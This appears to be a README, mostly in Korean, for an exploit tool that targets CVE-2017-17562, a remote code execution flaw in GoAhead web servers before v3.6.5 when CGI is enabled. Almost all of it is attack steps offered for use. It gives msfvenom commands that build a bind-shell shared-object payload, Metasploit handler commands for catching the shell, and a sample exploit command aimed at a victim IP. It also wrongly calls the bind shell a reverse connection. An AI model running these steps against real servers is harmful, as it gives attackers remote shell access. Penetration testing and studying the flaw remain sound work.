nu11pointer/goahead-rce-exploitCVE-2017-17562 취약점을 위한 익스플로잇으로, CGI가 활성화되고 CGI 프로그램이 동적으로 링크된 경우 GoAhead (< v3.6.5)에서 RCE를 허용합니다.
CVE-2017-17562 취약점에 대한 익스플로잇으로, CGI가 활성화되고 CGI 프로그램이 동적으로 링크된 경우 GoAhead(< v3.6.5)에서 RCE를 가능하게 합니다.
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
$ python3 -m pip install -r requirements.txt
먼저 페이로드를 생성하고 리스닝 연결을 설정해야 합니다.
예시:
(공격자: 192.168.1.100 - 피해자: 192.168.1.200)
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
그런 다음 다른 셸에서 이 익스플로잇을 실행하여 리스너로의 역방향 연결을 시작할 페이로드를 전송해야 합니다!
Required arguments:
--host HOST Host running the GoAhead webserver.
--port PORT Port running the GoAhead webserver. Default: 80
--payload PAYLOAD Path to the payload.
Optional arguments:
--ssl Host is using SSL.
--cgi LIST Paths list to discover the CGI script on the GoAhead server. Default: paths.lst
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl